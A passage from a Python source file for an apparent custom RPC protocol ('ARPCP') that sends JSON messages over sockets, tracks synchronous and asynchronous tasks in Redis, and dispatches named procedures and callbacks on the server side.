message\n\t\ttry:\n\t\t\tmessage = ARPCP.parse_data(data, message_type)\n\t\texcept ARPCPException as e:\n\t\t\tif message_type == ARPCP.MT_REQ:\n\t\t\t\terror_print(str(e))\n\t\t\t\terror_response = {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\t\tARPCP.close(sock)\n\t\t\t\treturn None\n\t\t\telif message_type == ARPCP.MT_RES:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\treturn {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\t\tlog_print(extent=20, message=\"message received!\")\n\t\ttraffic_print(message, message_type)\n\t\treturn message\n\n\n\t@staticmethod\n\tdef serialize_message(message, message_type):\n\t\tlog_print(extent=30, message=\"message serializing..\")\n\t\t# params validation\n\t\tif (message_type != ARPCP.MT_REQ) and (message_type != ARPCP.MT_RES):\n\t\t\traise ARPCPException(None, \"invalid message type\")\n\t\t# serializing\n\t\ttry:\n\t\t\tdata = (json.dumps(message)+\"\\r\\n\").encode(\"UTF-8\")\n\t\texcept Exception as e:\n\t\t\tif message_type is ARPCP.MT_REQ:\n\t\t\t\traise ARPCPException(1600, \"can not serialize request\")\n\t\t\telif message_type is ARPCP.MT_RES:\n\t\t\t\traise ARPCPException(101, \"can not serialize response\")\n\t\tlog_print(extent=30, message=\"message serialized!\")\n\t\treturn data\n\n\n\t@staticmethod\n\tdef send_message(sock, message, message_type):\n\t\t# @TODO add close_sock (True|False) option for closing socket into function or not\n\t\tlog_print(extent=30, message=\"sending message..\")\n\t\t# params validation\n\t\tif (message_type != ARPCP.MT_REQ) and (message_type != ARPCP.MT_RES):\n\t\t\tARPCP.close(sock)\n\t\t\traise ARPCPException(None, \"invalid message type\")\n\t\t# serializing message to data\n\t\ttry:\n\t\t\tdata = ARPCP.serialize_message(message, message_type)\n\t\texcept ARPCPException as e:\n\t\t\tif message_type == ARPCP.MT_REQ:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\traise ARPCPException(e.errno, e.errmsg)\n\t\t\telif message_type == ARPCP.MT_RES:\n\t\t\t\ttry:\n\t\t\t\t\terror_print(str(e))\n\t\t\t\t\terror_response = {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\t\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\t\t\tARPCP.close(sock)\n\t\t\t\t\traise ARPCPException(e.errno, e.errmsg)\n\t\t\t\texcept:\n\t\t\t\t\t# defense from recursion explosion\n\t\t\t\t\tARPCP.close(sock)\n\t\t\t\t\traise ARPCPException(None, str(e))\n\t\t# writing data to socket\n\t\tlog_print(extent=20, message=\"writing data to socket..\")\n\t\ttry:\n\t\t\twith sock.makefile(\"wb\") as socketfile:\n\t\t\t\tsocketfile.write(data)\n\t\texcept Exception as e:\n\t\t\tif message_type == ARPCP.MT_REQ:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\traise ARPCPException(1500, str(e))\n\t\t\telif message_type == ARPCP.MT_RES:\n\t\t\t\tARPCP.close(sock)\n\t\t\t\terror_print(str(e))\n\t\t\t\traise ARPCPException(None, str(e))\n\t\tlog_print(extent=20, message=\"data written\")\n\t\tlog_print(extent=30, message=\"message sent\")\n\t\ttraffic_print(message, message_type)\n\n\t# ----- high-level client-side methods for call arpcp methods --------------\n\n\t@staticmethod\n\tdef call(remote_host, remote_port, method, headers = {}, additions = {}):\n\t# def call(remote_host, remote_port, method, headers = {}, additions = {}):\n\t\tlog_print(extent=20, message=\"ARPCP.call method started\")\n\n\t\tif (not type(remote_host) is str) or \\\n\t\t\t(not type(remote_port) is int) or \\\n\t\t\t(not type(method) is str) or \\\n\t\t\t(not type(headers) is dict) or \\\n\t\t\t(not type(additions) is dict):\n\t\t\traise Exception(\"invalid arguments\")\n\n\t\tmessage = {\"method\": method, \"version\": VERSION}\n\t\tmessage.update(headers)\n\t\tmessage.update(additions)\n\n\t\tif method == \"task\":\n\t\t\t## request preprocessing\n\t\t\ttry:\n\t\t\t\ttask_id = message[\"task_id\"]\n\t\t\texcept Exception as e:\n\t\t\t\treturn {\"code\": 1700, \"description\": \"task id is not specified\", \"data\": None}\n\t\t\ttry:\n\t\t\t\t_redis = ARPCP.redis(REDIS_HOST, REDIS_PORT)\n\t\t\texcept Exception as e:\n\t\t\t\treturn {\"code\": 1701, \"description\": str(e), \"data\": None}\n\n\t\t\t# Check & registering callback\n\t\t\tif \"callback\" in additions:\n\t\t\t\tlog_print(extent=20, message=\"check out existense callback function\")\n\t\t\t\ttry:\n\t\t\t\t\timport callbacks\n\t\t\t\t\treload(callbacks)\n\t\t\t\t\tgetattr(callbacks, additions[\"callback\"])\n\t\t\t\texcept Exception as e:\n\t\t\t\t\treturn {\"code\": 1702, \"description\": str(e), \"data\": None}\n\t\t\t\tlog_print(extent=20, message=f\"callback {additions['callback']} exists!\")\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:callback\", additions['callback'])\n\n\t\t\t# Check & update ARPCP:tasks:assign, append task_id\n\t\t\tif not _redis.exists(\"ARPCP:tasks:assign\"):\n\t\t\t\t_redis.set(\"ARPCP:tasks:assign\", json.dumps([]))\n\t\t\tassigned_tasks = json.loads(_redis.get(\"ARPCP:tasks:assign\"))\n\t\t\tif task_id in assigned_tasks:\n\t\t\t\treturn {\"code\": 1703, \"description\": f\"task {task_id} already exists!\", \"data\": None}\n\t\t\t# @TODO pipe begin\n\t\t\tassigned_tasks = json.loads(_redis.get(\"ARPCP:tasks:assign\"))\n\t\t\tassigned_tasks.append(task_id)\n\t\t\t_redis.set(\"ARPCP:tasks:assign\", json.dumps(assigned_tasks))\n\t\t\t# @TODO pipe end\n\n\t\t\t# Set meta info about assigned task into redis\n\t\t\tlog_print(extent=20, message=\"saving data in redis with ARPCP:task::* prefix\")\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:message\", json.dumps(message))\n\t\t\tlog_print(extent=20, message=f\"*:message {message}\")\n\t\t\tdefault_task_status = \"created\"\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\",default_task_status)\n\t\t\tlog_print(extent=20, message=f\"*:status {default_task_status}\")\n\t\t\thost_addr = json.dumps({\"remote_host\": remote_host, \"remote_port\": remote_port})\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:host_addr\", host_addr)\n\t\t\tlog_print(extent=20, message=f\"*:host_addr {host_addr}\")\n\n\t\t\t## connection openning\n\t\t\tsock = ARPCP.connect(remote_host, remote_port)\n\n\t\t\t## request sending\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, message, ARPCP.MT_REQ)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\t\treturn {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\n\t\t\t## intermediate processing\n\t\t\tsent_status = \"sent_to_agent\"\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", sent_status)\n\t\t\tlog_print(extent=20, message=f\"*:status {sent_status}\")\n\n\t\t\t## response receiving\n\t\t\ttry:\n\t\t\t\treceived_message = ARPCP.receive_message(sock, ARPCP.MT_RES)\n\t\t\texcept Exception as e:\n\t\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\t\treturn {\"code\": 1704, \"description\": str(e), \"data\": None}\n\n\t\t\t## closing the connection\n\t\t\tARPCP.close(sock)\n\n\t\t\t## response postprocessing\n\t\t\tif received_message[\"code\"] == 100:\n\t\t\t\tresult = received_message[\"data\"][\"result\"]\n\t\t\t\tif _redis.exists(f\"ARPCP:task:{task_id}:callback\"):\n\t\t\t\t\tcallback = _redis.get(f\"ARPCP:task:{task_id}:callback\")\n\t\t\t\t\tlog_print(extent=20, message=f\"calling callback '{callback}'\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\tresult = getattr(callbacks, callback)(received_message[\"data\"][\"result\"])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", \"callback_error\")\n\t\t\t\t\t\treturn {\"code\": 1101, \"description\": str(e), \"data\": None}\n\t\t\t\t\tlog_print(extent=20, message=f\"callback executed with result '{result}'\")\n\t\t\t\treceived_message[\"data\"].update({\"result\": result})\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", \"done\")\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:result\", json.dumps(result))\n\t\t\telse:\n\t\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\t\treturn received_message\n\n\t\t\tlog_print(extent=20, message=\"ARPCP.call method finished\")\n\t\t\treturn received_message\n\n\t\telif method == \"atask\":\n\t\t\ttry:\n\t\t\t\ttask_id = message[\"task_id\"]\n\t\t\texcept Exception as e:\n\t\t\t\treturn {\"code\": 1700, \"description\": \"task id is not specified\", \"data\": None}\n\t\t\ttry:\n\t\t\t\t_redis = ARPCP.redis(REDIS_HOST, REDIS_PORT)\n\t\t\texcept Exception as e:\n\t\t\t\treturn {\"code\": 1701, \"description\": str(e), \"data\": None}\n\n\t\t\t# Check & registering callback\n\t\t\tif \"callback\" in additions:\n\t\t\t\tlog_print(extent=20, message=\"check out existense callback function\")\n\t\t\t\ttry:\n\t\t\t\t\timport callbacks\n\t\t\t\t\treload(callbacks)\n\t\t\t\t\tgetattr(callbacks, additions[\"callback\"])\n\t\t\t\texcept Exception as e:\n\t\t\t\t\treturn {\"code\": 1702, \"description\": str(e), \"data\": None}\n\t\t\t\tlog_print(extent=20, message=f\"callback {additions['callback']} exists!\")\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:callback\", additions[\"callback\"])\n\n\t\t\t# Check & update ARPCP:tasks:assign, append task_id\n\t\t\tif not _redis.exists(\"ARPCP:tasks:assign\"):\n\t\t\t\t_redis.set(\"ARPCP:tasks:assign\", json.dumps([]))\n\t\t\tassigned_tasks = json.loads(_redis.get(\"ARPCP:tasks:assign\"))\n\t\t\tif task_id in assigned_tasks:\n\t\t\t\treturn {\"code\": 1703, \"description\": f\"task {task_id} already exists!\", \"data\": None}\n\t\t\tassigned_tasks.append(task_id)\n\t\t\t_redis.set(\"ARPCP:tasks:assign\", json.dumps(assigned_tasks))\n\n\t\t\t# Set meta info about assigned task into redis\n\t\t\tlog_print(extent=20, message=\"saving data in redis with ARPCP:task::* prefix\")\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:message\", json.dumps(message))\n\t\t\tlog_print(extent=20, message=f\"*:message {message}\")\n\t\t\tdefault_task_status = \"created\"\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\",default_task_status)\n\t\t\tlog_print(extent=20, message=f\"*:status {default_task_status}\")\n\t\t\thost_addr = json.dumps({\"remote_host\": remote_host, \"remote_port\": remote_port})\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:host_addr\", host_addr)\n\t\t\tlog_print(extent=20, message=f\"*:host_addr {host_addr}\")\n\n\t\t\t## connection openning\n\t\t\tsock = ARPCP.connect(remote_host, remote_port)\n\n\t\t\t## request sending\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, message, ARPCP.MT_REQ)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\t\treturn {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\n\t\t\t## intermediate processing\n\t\t\tsent_status = \"sent_to_agent\"\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", sent_status)\n\t\t\tlog_print(extent=20, message=f\"*:status {sent_status}\")\n\n\t\t\t## response receiving\n\t\t\ttry:\n\t\t\t\treceived_message = ARPCP.receive_message(sock, ARPCP.MT_RES)\n\t\t\texcept Exception as e:\n\t\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\t\treturn {\"code\": 1704, \"description\": str(e), \"data\": None}\n\n\t\t\t## closing the connection\n\t\t\tARPCP.close(sock)\n\n\t\t\t# Update assigned task status after response receiving\n\t\t\tif received_message[\"code\"] == 100:\n\t\t\t\tsuccessfully_registered = \"successfully_registered\"\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", successfully_registered)\n\t\t\t\tlog_print(extent=20, message=f\"*:status {successfully_registered}\")\n\t\t\telse:\n\t\t\t\tunregistered = \"unregistered\"\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", unregistered)\n\t\t\t\tlog_print(extent=20, message=f\"*:status {unregistered}\")\n\n\t\t\tlog_print(extent=20, message=\"ARPCP.call method finished\")\n\t\t\treturn received_message\n\n\t\telse:\n\t\t\t## request preprocessing\n\t\t\tpass\n\t\t\t## connection openning\n\t\t\ttry:\n\t\t\t\tsock = ARPCP.connect(remote_host, remote_port)\n\t\t\texcept Exception as e:\n\t\t\t\treturn {\"code\": 1750, \"description\": \"unable to connect\", \"data\": None}\n\t\t\t## request sending\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, message, ARPCP.MT_REQ)\n\t\t\texcept ARPCPException as e:\n\t\t\t\treturn {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\t\t\t## intermediate processing\n\t\t\tpass\n\t\t\t## response receiving\n\t\t\ttry:\n\t\t\t\treceived_message = ARPCP.receive_message(sock, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\treturn {\"code\": e.errno, \"description\": e.errmsg, \"data\": None}\n\t\t\t## closing the connection\n\t\t\tARPCP.close(sock)\n\t\t\t## response postprocessing\n\t\t\tpass\n\t\t\tlog_print(extent=20, message=\"ARPCP.call method finished\")\n\t\t\treturn received_message\n\n\t# ----- high-level server-side methods for handling arpcp methods ----------\n\n\t@staticmethod\n\tdef handle(sock, addr):\n\t\tlog_print(extent=20, message=\"common handle started\")\n\n\t\t# read data & parse message (4xx)\n\t\trequest = ARPCP.receive_message(sock, ARPCP.MT_REQ)\n\t\tif request is None:\n\t\t\tlog_print(extent=20, message=\"common handle finished with error\")\n\t\t\treturn\n\n\t\t# check method handler existence (3xx)\n\t\ttry:\n\t\t\tlog_print(extent=20, message=f\"check handle_{request['method']} existence\")\n\t\t\tgetattr(ARPCP, f\"handle_{request['method']}\")\n\t\t\tlog_print(extent=20, message=f\"handle_{request['method']} exists\")\n\t\texcept Exception as e:\n\t\t\terror_print(str(e))\n\t\t\terror_response = {\"code\": 300, \"description\": str(e), \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\t\tARPCP.close(sock)\n\t\t\t\tlog_print(extent=20, message=\"common handle finished with error\")\n\t\t\t\treturn\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"common handle finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\n\t\ttry:\n\t\t\tgetattr(ARPCP, f\"handle_{request['method']}\")(sock, addr, request)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"common handle finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t\tlog_print(extent=20, message=\"common handle finished\")\n\n\n\t@staticmethod\n\tdef handle_id(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_id started\")\n\t\tdef _mac_addr():\n\t\t\taddress = uuid.getnode()\n\t\t\thexeble = iter(hex(address)[2:].zfill(12))\n\t\t\tmac_addr = \":\".join(i + next(hexeble) for i in hexeble)\n\t\t\treturn mac_addr\n\n\t\tresponse = {\"code\": 100, \"description\": \"OK\", \"data\": {\"agent_mac\": _mac_addr()}}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"handle_id finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t\tARPCP.close(sock)\n\t\tlog_print(extent=20, message=\"handle_id finished\")\n\n\n\t@staticmethod\n\tdef handle_procedures(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_procedures started\")\n\n\t\tlog_print(extent=20, message=\"procedures reloading..\")\n\t\ttry:\n\t\t\timport procedures\n\t\t\treload(procedures)\n\t\texcept Exception as e:\n\t\t\terror_print(str(e))\n\t\t\terror_response = {\"code\": 200, \"description\": str(e), \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_procedures finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tARPCP.close(sock)\n\t\t\tlog_print(extent=20, message=\"handle_procedures finished with error\")\n\t\t\treturn\n\t\tlog_print(extent=20, message=\"procedures reloaded\")\n\n\t\tavailable_procedures = list(filter(lambda x: not x.startswith(\"_\"), dir(procedures)))\n\t\tresponse = {\"code\": 100, \"description\": \"OK\", \"data\": available_procedures}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"handle_procedures finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t\tARPCP.close(sock)\n\t\tlog_print(extent=20, message=\"handle_procedures finished\")\n\n\n\t@staticmethod\n\tdef handle_task(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_task started\")\n\t\ttask_id = message[\"task_id\"]\n\t\tremote_procedure = message[\"remote_procedure\"]\n\t\tremote_procedure_args = message[\"remote_procedure_args\"]\n\n\t\t# import & reload procedures\n\t\ttry:\n\t\t\tlog_print(extent=20, message=\"procedures reloading..\")\n\t\t\timport procedures\n\t\t\treload(procedures)\n\t\texcept Exception as e:\n\t\t\terror_print(str(e))\n\t\t\terror_response = {\"code\": 201, \"description\": str(e), \"data\": {\"task_id\": task_id, \"result\": None}}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tARPCP.close(sock)\n\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\treturn\n\n\t\t# execute procedure\n\t\tlog_print(extent=20,message=f\"procedure {remote_procedure} started..\")\n\t\ttry:\n\t\t\tremote_procedure_result = getattr(procedures, remote_procedure)(*remote_procedure_args)\n\t\texcept Exception as e:\n\t\t\terror_print(str(e))\n\t\t\terror_response = {\"code\": 202, \"description\": \"procedure execution error\", \"data\": {\"task_id\": task_id, \"result\": None}}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tARPCP.close(sock)\n\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\treturn\n\t\tlog_print(extent=20, message=\"procedure finished\")\n\n\t\t# response sending\n\t\tresponse = {\n\t\t\t\"code\": 100,\n\t\t\t\"description\": \"OK\",\n\t\t\t\"data\": {\n\t\t\t\t\"task_id\": task_id,\n\t\t\t\t\"result\": remote_procedure_result\n\t\t\t}\n\t\t}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t\tARPCP.close(sock)\n\t\tlog_print(extent=20, message=\"handle_task finished\")\n\n\n\t@staticmethod\n\tdef handle_result(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_result started\")\n\n\t\t# check redis availability\n\t\ttry:\n\t\t\t_redis = ARPCP.redis(REDIS_HOST, REDIS_PORT)\n\t\texcept Exception as e:\n\t\t\terror_response = {\"code\": 203, \"description\": \"redis unavailable\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\ttask_id = message[\"task_id\"]\n\t\ttask_result = message[\"task_result\"]\n\t\ttask_status = message[\"task_status\"]\n\n\t\t# check task_id in ARPCP:tasks:assign\n\t\tif not _redis.exists(\"ARPCP:tasks:assign\") or \\\n\t\t\t\t(not task_id in json.loads(_redis.get(\"ARPCP:tasks:assign\"))):\n\t\t\terror_response = {\"code\": 204, \"description\": \"unknown assign task\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\t# check task_status\n\t\tif not task_status in ARPCP.task_statuses:\n\t\t\terror_response = {\"code\": 206, \"description\": \"incorrect task status\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\t# update data in redis\n\t\tlog_print(extent=20, message=\"saving data in redis with ARPCP:task:* prefix\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", task_status)\n\t\tlog_print(extent=20, message=f\"*:status {task_status}\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:result\", json.dumps(task_result))\n\t\tlog_print(extent=20, message=f\"*:result {task_result}\")\n\n\t\t# send OK response\n\t\tresponse = {\"code\": 100, \"description\": \"OK\", \"data\": \"OK\"}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t\t# execute callback\n\t\tif _redis.exists(f\"ARPCP:task:{task_id}:callback\") and \\\n\t\t\t\ttask_status == \"done\":\n\t\t\timport callbacks\n\t\t\treload(callbacks)\n\t\t\tcallback = _redis.get(f\"ARPCP:task:{task_id}:callback\")\n\t\t\tlog_print(extent=20, message=f\"calling callback '{callback}'\")\n\t\t\ttry:\n\t\t\t\ttask_result = getattr(callbacks, callback)(task_result)\n\t\t\texcept Exception as e:\n\t\t\t\ttask_result = None\n\t\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", \"callback_error\")\n\t\t\t\t_redis.set(f\"ARPCP:task:{task_id}:result\", json.dumps(task_result))\n\t\t\t\tlog_print(extent=20, message=f\"*:result {task_result}\")\n\t\t\t\treturn\n\t\t\tlog_print(extent=20, message=f\"callback executed with result '{task_result}'\")\n\t\t\t_redis.set(f\"ARPCP:task:{task_id}:result\", json.dumps(task_result))\n\t\t\tlog_print(extent=20, message=f\"*:result {task_result}\")\n\n\t\tARPCP.close(sock)\n\t\tlog_print(extent=20, message=\"handle_result finished\")\n\n\n\t@staticmethod\n\tdef handle_signal(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_signal started\")\n\n\t\t# check redis availability\n\t\ttry:\n\t\t\t_redis = ARPCP.redis(REDIS_HOST, REDIS_PORT)\n\t\texcept Exception as e:\n\t\t\terror_response = {\"code\": 203, \"description\": \"redis unavailable\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_signal finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_signal finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\ttask_id = message[\"task_id\"]\n\n\t\t# check task_id in ARPCP:tasks:execute\n\t\tif not _redis.exists(\"ARPCP:tasks:execute\") or \\\n\t\t\t\t(not task_id in json.loads(_redis.get(\"ARPCP:tasks:execute\"))):\n\t\t\terror_response = {\"code\": 205, \"description\": \"unknown execute task\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\t# send OK response\n\t\tresponse = {\"code\": 100, \"description\": \"OK\", \"data\": \"OK\"}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tlog_print(extent=20, message=\"handle_result finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\t\tARPCP.close(sock)\n\n\t\ttask_result = json.loads(_redis.get(f\"ARPCP:task:{task_id}:result\"))\n\t\ttask_status = _redis.get(f\"ARPCP:task:{task_id}:status\")\n\t\tresult_request = {\"task_result\": task_result, \"task_status\": task_status, \"task_id\": task_id}\n\t\tresult_response = ARPCP.call(addr[0], ADDR_CONF[1], \"result\", result_request)\n\n\t\tlog_print(extent=20, message=\"handle_signal finished\")\n\n\n\t@staticmethod\n\tdef handle_atask(sock, addr, message):\n\t\tlog_print(extent=20, message=\"handle_atask started\")\n\n\t\t# check redis availability\n\t\ttry:\n\t\t\t_redis = ARPCP.redis(REDIS_HOST, REDIS_PORT)\n\t\texcept Exception as e:\n\t\t\terror_response = {\"code\": 203, \"description\": \"redis unavailable\", \"data\": None}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_atask finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_atask finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\n\t\ttask_id = message[\"task_id\"]\n\t\tremote_procedure = message[\"remote_procedure\"]\n\t\tremote_procedure_args = message[\"remote_procedure_args\"]\n\t\tdefault_result = None\n\t\tdefault_task_status = \"created\"\n\n\t\t## 1 part. Request receiving\n\t\t# Check & update ARPCP:tasks:execute, append task_id\n\t\tif not _redis.exists(\"ARPCP:tasks:execute\"):\n\t\t\t_redis.set(\"ARPCP:tasks:execute\", json.dumps([]))\n\t\texecuted_tasks = json.loads(_redis.get(\"ARPCP:tasks:execute\"))\n\t\tif task_id in executed_tasks:\n\t\t\terror_response = {\"code\": 207, \"description\": f\"task {task_id} already exists!\", \"data\": {\"task_id\": task_id, \"result\": None}}\n\t\t\ttry:\n\t\t\t\tARPCP.send_message(sock, error_response, ARPCP.MT_RES)\n\t\t\texcept ARPCPException as e:\n\t\t\t\tlog_print(extent=20, message=\"handle_atask finished with error\")\n\t\t\t\treturn\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\t\tlog_print(extent=20, message=\"handle_atask finished with error\")\n\t\t\tARPCP.close(sock)\n\t\t\treturn\n\t\t# @TODO pipe begin\n\t\texecuted_tasks = json.loads(_redis.get(\"ARPCP:tasks:execute\"))\n\t\texecuted_tasks.append(task_id)\n\t\t_redis.set(\"ARPCP:tasks:execute\", json.dumps(executed_tasks))\n\t\t# @TODO pipe end\n\n\t\t# Set meta info about executing task into redis\n\t\tlog_print(extent=20, message=\"saving data in redis with ARPCP:task:* prefix\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:message\", json.dumps(message))\n\t\tlog_print(extent=20, message=f\"*:message {message}\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:caller_ip\", str(addr[0]))\n\t\tlog_print(extent=20, message=f\"*:caller_ip {str(addr[0])}\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:status\", default_task_status)\n\t\tlog_print(extent=20, message=f\"*:status {default_task_status}\")\n\t\t_redis.set(f\"ARPCP:task:{task_id}:result\", json.dumps(default_result))\n\t\tlog_print(extent=20, message=f\"*:result {default_result}\")\n\n\t\t# send OK response\n\t\tresponse = {\"code\": 100, \"description\": \"OK\", \"data\": {\"task_id\": task_id, \"result\": None}}\n\t\ttry:\n\t\t\tARPCP.send_message(sock, response, ARPCP.MT_RES)\n\t\texcept ARPCPException as e:\n\t\t\tARPCP.erase_task_from_redis(_redis, task_id)\n\t\t\tlog_print(extent=20, message=\"handle_atask finished with error\")\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\traise e\n\t\tARPCP.close(sock)\n\n\t\t## 2 part. Procedure executing & sending result\n\t\t# import & reload procedures\n\t\ttry:\n\t\t\tlog_print(extent=20, message=\"procedures reloading..\")\n\t\t\timport 